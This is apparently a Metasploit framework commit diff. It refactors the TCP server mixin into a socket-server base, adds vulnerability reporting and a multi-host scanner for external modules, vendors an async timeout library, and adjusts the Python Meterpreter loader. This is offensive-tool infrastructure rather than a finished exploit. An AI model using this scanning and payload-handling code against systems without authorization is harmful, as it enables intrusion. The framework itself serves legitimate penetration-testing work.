# sort that is designed to exploit clients. Exploits that include this mixin
# automatically take a passive stance.
#
###
module Exploit::Remote::SocketServer
def initialize(info = {})
super(update_info(info,
'Stance' => Msf::Exploit::Stance::Passive))
register_options(
[
OptAddress.new('SRVHOST', [ true, "The local host to listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]),
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]),
], Msf::Exploit::Remote::SocketServer
)
register_advanced_options(
[
OptString.new('ListenerComm', [ false, 'The specific communication channel to use for this service'])
], Msf::Exploit::Remote::SocketServer
)
end
#
# This mixin overrides the exploit method so that it can initiate the
# service that corresponds with what the client has requested.
#
def exploit
start_service()
print_status("Server started.")
# Call the exploit primer
primer
# Wait on the service to stop
self.service.wait
end
#
# Primer method to call after starting service but before handling connections
#
def primer
end
#
# Stops the service, if one was created.
#
def cleanup
super
if(service)
stop_service()
print_status("Server stopped.")
end
end
#
# Called when a client has data available for reading.
#
def on_client_data(client)
end
#
# Starts the service. Override this method in consumers
#
def start_service(*args)
end
#
# Stops the service.
#
def stop_service
if (service)
begin
self.service.deref if self.service.kind_of?(Rex::Service)
if self.service.kind_of?(Rex::Socket)
self.service.close
self.service.stop
end
self.service = nil
rescue ::Exception
end
end
end
#
# Returns the local host that is being listened on.
#
def srvhost
datastore['SRVHOST']
end
#
# Returns the local port that is being listened on.
#
def srvport
datastore['SRVPORT']
end
#
# Re-generates the payload, substituting the current RHOST and RPORT with
# the supplied client host and port from the socket.
#
def regenerate_payload(cli, arch = nil, platform = nil, target = nil)
ohost = datastore['RHOST']
oport = datastore['RPORT']
p = nil
begin
# Update the datastore with the supplied client peerhost/peerport
datastore['RHOST'] = cli.peerhost
datastore['RPORT'] = cli.peerport
if ((p = super(arch, platform, target)) == nil)
print_error("Failed to generate payload")
return nil
end
# Allow the payload to start a new handler
add_handler({
'RHOST' => datastore['RHOST'],
'RPORT' => datastore['RPORT']
})
ensure
datastore['RHOST'] = ohost
datastore['RPORT'] = oport
end
p
end
protected
#
# Determines appropriate listener comm
#
def _determine_server_comm(srv_comm = datastore['ListenerComm'].to_s)
case srv_comm
when 'local'
comm = ::Rex::Socket::Comm::Local
when /\A[0-9]+\Z/
comm = framework.sessions[srv_comm.to_i]
raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not exist") unless comm
raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm
when nil, ''
comm = nil
else
raise(RuntimeError, "SocketServer Comm '#{srv_comm}' is invalid")
end
comm
end
attr_accessor :service # :nodoc:
end
end
+8 -123
View File
@@ -1,5 +1,7 @@
# -*- coding: binary -*-
require 'msf/core/exploit/socket_server'
module Msf
###
@@ -10,20 +12,18 @@ module Msf
#
###
module Exploit::Remote::TcpServer
include Exploit::Remote::SocketServer
def initialize(info = {})
super(update_info(info,
'Stance' => Msf::Exploit::Stance::Passive))
super
register_options(
[
OptBool.new('SSL', [ false, 'Negotiate SSL for incoming connections', false]),
# SSLVersion is currently unsupported for TCP servers (only supported by clients at the moment)
OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)']),
OptAddress.new('SRVHOST', [ true, "The local host to listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]),
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]),
], Msf::Exploit::Remote::TcpServer)
OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)'])
], Msf::Exploit::Remote::TcpServer
)
register_advanced_options(
[
@@ -40,51 +40,11 @@ module Exploit::Remote::TcpServer
)
end
#
# This mixin overrides the exploit method so that it can initiate the
# service that corresponds with what the client has requested.
#
def exploit
start_service()
print_status("Server started.")
# Call the exploit primer
primer
# Wait on the service to stop
self.service.wait
end
#
# Primer method to call after starting service but before handling connections
#
def primer
end
#
# Stops the service, if one was created.
#
def cleanup
super
if(service)
stop_service()
print_status("Server stopped.")
end
end
#
# Called when a client connects.
#
def on_client_connect(client)
end
#
# Called when a client has data available for reading.
#
def on_client_data(client)
end
#
# Called when a client has disconnected.
#
@@ -97,12 +57,7 @@ module Exploit::Remote::TcpServer
def start_service(*args)
begin
comm = datastore['ListenerComm']
if comm == "local"
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
comm = _determine_server_comm
self.service = Rex::Socket::TcpServer.create(
'LocalHost' => srvhost,
@@ -151,38 +106,6 @@ module Exploit::Remote::TcpServer
end
end
#
# Stops the service.
#
def stop_service
if (service)
begin
self.service.deref if self.service.kind_of?(Rex::Service)
if self.service.kind_of?(Rex::Socket)
self.service.close
self.service.stop
end
self.service = nil
rescue ::Exception
end
end
end
#
# Returns the local host that is being listened on.
#
def srvhost
datastore['SRVHOST']
end
#
# Returns the local port that is being listened on.
#
def srvport
datastore['SRVPORT']
end
#
# Returns the SSL option
#
@@ -209,44 +132,6 @@ module Exploit::Remote::TcpServer
datastore['SSLCompression']
end
#
# Re-generates the payload, substituting the current RHOST and RPORT with
# the supplied client host and port from the socket.
#
def regenerate_payload(cli, arch = nil, platform = nil, target = nil)
ohost = datastore['RHOST']
oport = datastore['RPORT']
p = nil
begin
# Update the datastore with the supplied client peerhost/peerport
datastore['RHOST'] = cli.peerhost
datastore['RPORT'] = cli.peerport
if ((p = super(arch, platform, target)) == nil)
print_error("Failed to generate payload")
return nil
end
# Allow the payload to start a new handler
add_handler({
'RHOST' => datastore['RHOST'],
'RPORT' => datastore['RPORT']
})
ensure
datastore['RHOST'] = ohost
datastore['RPORT'] = oport
end
p
end
protected
attr_accessor :service # :nodoc:
end
end
+23 -12
View File
@@ -3,18 +3,15 @@ module Msf::Module::External
def wait_status(mod)
begin
while mod.running
m = mod.get_status
if m
case m.method
when :message
log_output(m)
when :report
process_report(m)
when :reply
# we're done
break
end
while m = mod.get_status
case m.method
when :message
log_output(m)
when :report
process_report(m)
when :reply
# we're done
break
end
end
rescue Interrupt => e
@@ -72,6 +69,20 @@ module Msf::Module::External
service[:name] = data['name'] if data['name']
report_service(service)
when 'vuln'
# Required
vuln = {host: data['host'], name: data['name']}
# Optional
vuln[:info] = data['info'] if data['info']
vuln[:refs] = data['refs'] if data['refs']
vuln[:port] = data['port'] if data['port']
vuln[:proto] = data['port'] if data['port']
# Metasploit magic
vuln[:refs] = self.references
report_vuln(vuln)
else
print_warning "Skipping unrecognized report type #{m.params['type']}"
end
+5 -3
View File
@@ -26,10 +26,11 @@ class Msf::Modules::External::Bridge
end
def get_status
if self.running
if self.running || !self.messages.empty?
m = receive_notification
if m.nil?
close_ios
self.messages.close
self.running = false
end
@@ -130,8 +131,9 @@ class Msf::Modules::External::Bridge
raise EOFError.new
else
fds = res[0]
# Preferentially drain and log stderr
if fds.include? err
# Preferentially drain and log stderr, EOF counts as activity, but
# stdout might have some buffered data left, so carry on
if fds.include?(err) && !err.eof?
errbuf = err.readpartial(4096)
elog "Unexpected output running #{self.path}:\n#{errbuf}"
end
+7 -1
View File
@@ -29,7 +29,13 @@ class Msf::Modules::External::Message
end
def to_json
JSON.generate({jsonrpc: '2.0', id: self.id, method: self.method, params: self.params.to_h})
params =
if self.params.respond_to? :to_nested_values
self.params.to_nested_values
else
self.params.to_h
end
JSON.generate({jsonrpc: '2.0', id: self.id, method: self.method, params: params})
end
protected
@@ -0,0 +1,101 @@
# Vendored from https://github.com/aio-libs/async-timeout
# Copyright: 2016-2017 Andrew Svetlov
# License: Apache 2.0
import asyncio
__version__ = '2.0.0'
class timeout:
"""timeout context manager.
Useful in cases when you want to apply timeout logic around block
of code or in cases when asyncio.wait_for is not suitable. For example:
>>> async with timeout(0.001):
... async with aiohttp.get('https://github.com') as r:
... await r.text()
timeout - value in seconds or None to disable timeout logic
loop - asyncio compatible event loop
"""
def __init__(self, timeout, *, loop=None):
self._timeout = timeout
if loop is None:
loop = asyncio.get_event_loop()
self._loop = loop
self._task = None
self._cancelled = False
self._cancel_handler = None
self._cancel_at = None
def __enter__(self):
return self._do_enter()
def __exit__(self, exc_type, exc_val, exc_tb):
self._do_exit(exc_type)
@asyncio.coroutine
def __aenter__(self):
return self._do_enter()
@asyncio.coroutine
def __aexit__(self, exc_type, exc_val, exc_tb):
self._do_exit(exc_type)
@property
def expired(self):
return self._cancelled
@property
def remaining(self):
if self._cancel_at is not None:
return max(self._cancel_at - self._loop.time(), 0.0)
else:
return None
def _do_enter(self):
# Support Tornado 5- without timeout
# Details: https://github.com/python/asyncio/issues/392
if self._timeout is None:
return self
self._task = current_task(self._loop)
if self._task is None:
raise RuntimeError('Timeout context manager should be used '
'inside a task')
if self._timeout <= 0:
self._loop.call_soon(self._cancel_task)
return self
self._cancel_at = self._loop.time() + self._timeout
self._cancel_handler = self._loop.call_at(
self._cancel_at, self._cancel_task)
return self
def _do_exit(self, exc_type):
if exc_type is asyncio.CancelledError and self._cancelled:
self._cancel_handler = None
self._task = None
raise asyncio.TimeoutError
if self._timeout is not None and self._cancel_handler is not None:
self._cancel_handler.cancel()
self._cancel_handler = None
self._task = None
def _cancel_task(self):
self._task.cancel()
self._cancelled = True
def current_task(loop):
task = asyncio.Task.current_task(loop=loop)
if task is None:
if hasattr(loop, 'current_task'):
task = loop.current_task()
return task
+23 -9
View File
@@ -1,4 +1,7 @@
import sys, os, json
import json
import os
import sys
def log(message, level='info'):
rpc_send({'jsonrpc': '2.0', 'method': 'message', 'params': {
@@ -6,19 +9,23 @@ def log(message, level='info'):
'message': message
}})
def report_host(ip, opts={}):
def report_host(ip, **opts):
host = opts.copy()
host.update({'host': ip})
rpc_send({'jsonrpc': '2.0', 'method': 'report', 'params': {
'type': 'host', 'data': host
}})
report('host', host)
def report_service(ip, opts={}):
def report_service(ip, **opts):
service = opts.copy()
service.update({'host': ip})
rpc_send({'jsonrpc': '2.0', 'method': 'report', 'params': {
'type': 'service', 'data': service
}})
report('service', service)
def report_vuln(ip, name, **opts):
vuln = opts.copy()
vuln.update({'host': ip, 'name': name})
report('vuln', vuln)
def run(metadata, module_callback):
@@ -32,6 +39,13 @@ def run(metadata, module_callback):
'message': 'Module completed'
}})
def report(kind, data):
rpc_send({'jsonrpc': '2.0', 'method': 'report', 'params': {
'type': kind, 'data': data
}})
def rpc_send(req):
print(json.dumps(req))
sys.stdout.flush()
@@ -0,0 +1,101 @@
import asyncio
import functools
import re
from async_timeout import timeout
from metasploit import module
def make_scanner(payload='', pattern='', onmatch=None, connect_timeout=3, read_timeout=10):
return lambda args: start_scanner(payload, pattern, args, onmatch, connect_timeout=connect_timeout, read_timeout=read_timeout)
def start_scanner(payload, pattern, args, onmatch, **timeouts):
loop = asyncio.get_event_loop()
loop.run_until_complete(run_scanner(payload, pattern, args, onmatch, **timeouts))
async def run_scanner(payload, pattern, args, onmatch, **timeouts):
probes = [probe_host(host, int(args['rport']), payload, **timeouts) for host in args['rhosts']]
async for (target, res) in Scan(probes):
if isinstance(res, Exception):
module.log('{}:{} - Error connecting: {}'.format(*target, res), level='error')
elif res and re.search(pattern, res):
module.log('{}:{} - Matches'.format(*target), level='good')
module.log('{}:{} - Matches with: {}'.format(*target, res), level='debug')
onmatch(target, res)
else:
module.log('{}:{} - Does not match'.format(*target), level='info')
module.log('{}:{} - Does not match with: {}'.format(*target, res), level='debug')
class Scan:
def __init__(self, runs):
self.queue = asyncio.queues.Queue()
self.total = len(runs)
self.done = 0
for r in runs:
f = asyncio.ensure_future(r)
args = r.cr_frame.f_locals
target = (args['host'], args['port'])
f.add_done_callback(functools.partial(self.__queue_result, target))
def __queue_result(self, target, f):
res = None
try:
res = f.result()
except Exception as e:
res = e
self.queue.put_nowait((target, res))
async def __aiter__(self):
return self
async def __anext__(self):
if self.done == self.total:
raise StopAsyncIteration
res = await self.queue.get()
self.done += 1
return res
async def probe_host(host, port, payload, connect_timeout, read_timeout):
buf = bytearray()
try:
async with timeout(connect_timeout):
r, w = await asyncio.open_connection(host, port)
remote = w.get_extra_info('peername')
if remote[0] == host:
module.log('{}:{} - Connected'.format(host, port), level='debug')
else:
module.log('{}({}):{} - Connected'.format(host, *remote), level='debug')
w.write(payload)
await w.drain()
async with timeout(read_timeout):
while len(buf) < 4096:
data = await r.read(4096)
if data:
module.log('{}:{} - Received {} bytes'.format(host, port, len(data)), level='debug')
buf.extend(data)
else:
break
except asyncio.TimeoutError:
if buf:
pass
else:
raise
finally:
try:
w.close()
except Exception:
# Either we got something and the socket got in a bad state, or the
# original error will point to the root cause
pass
return buf
+13 -1
View File
@@ -13,6 +13,8 @@ class Msf::Modules::External::Shim
capture_server(mod)
when 'dos'
dos(mod)
when 'scanner.multi'
multi_scanner(mod)
else
# TODO have a nice load error show up in the logs
''
@@ -35,7 +37,7 @@ class Msf::Modules::External::Shim
meta[:authors] = mod.meta['authors'].map(&:dump).join(",\n ")
meta[:options] = mod.meta['options'].map do |n, o|
"Opt#{o['type'].capitalize}.new(#{n.dump},
"Opt#{o['type'].camelize}.new(#{n.dump},
[#{o['required']}, #{o['description'].dump}, #{o['default'].inspect}])"
end.join(",\n ")
meta
@@ -69,6 +71,16 @@ class Msf::Modules::External::Shim
render_template('capture_server.erb', meta)
end
def self.multi_scanner(mod)
meta = mod_meta_common(mod)
meta[:date] = mod.meta['date'].dump
meta[:references] = mod.meta['references'].map do |r|
"[#{r['type'].upcase.dump}, #{r['ref'].dump}]"
end.join(",\n ")
render_template('multi_scanner.erb', meta)
end
def self.dos(mod)
meta = mod_meta_common(mod)
meta[:date] = mod.meta['date'].dump
@@ -0,0 +1,34 @@
require 'msf/core/modules/external/bridge'
require 'msf/core/module/external'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Module::External
def initialize
super({
<%= common_metadata meta %>
'References' =>
[
<%= meta[:references] %>
],
'DisclosureDate' => <%= meta[:date] %>,
})
register_options([
<%= meta[:options] %>
])
end
def run_batch_size
200
end
def run_batch(ips)
mod = Msf::Modules::External::Bridge.open(<%= meta[:path] %>)
datastore.delete('RHOSTS')
datastore['rhosts'] = ips
mod.run(datastore)
wait_status(mod)
end
end
@@ -132,9 +132,9 @@ module Payload::Python::MeterpreterLoader
unless opts[:stageless_tcp_socket_setup].nil?
socket_setup = opts[:stageless_tcp_socket_setup]
socket_setup = socket_setup.split("\n")
socket_setup.map! {|line| "\t\t#{line}\n"}
socket_setup.map! {|line| " #{line}\n"}
socket_setup = socket_setup.join
met.sub!("\t\t# PATCH-SETUP-STAGELESS-TCP-SOCKET #", socket_setup)
met.sub!(" # PATCH-SETUP-STAGELESS-TCP-SOCKET #", socket_setup)
end
met

Some files were not shown because too many files have changed in this diff Show More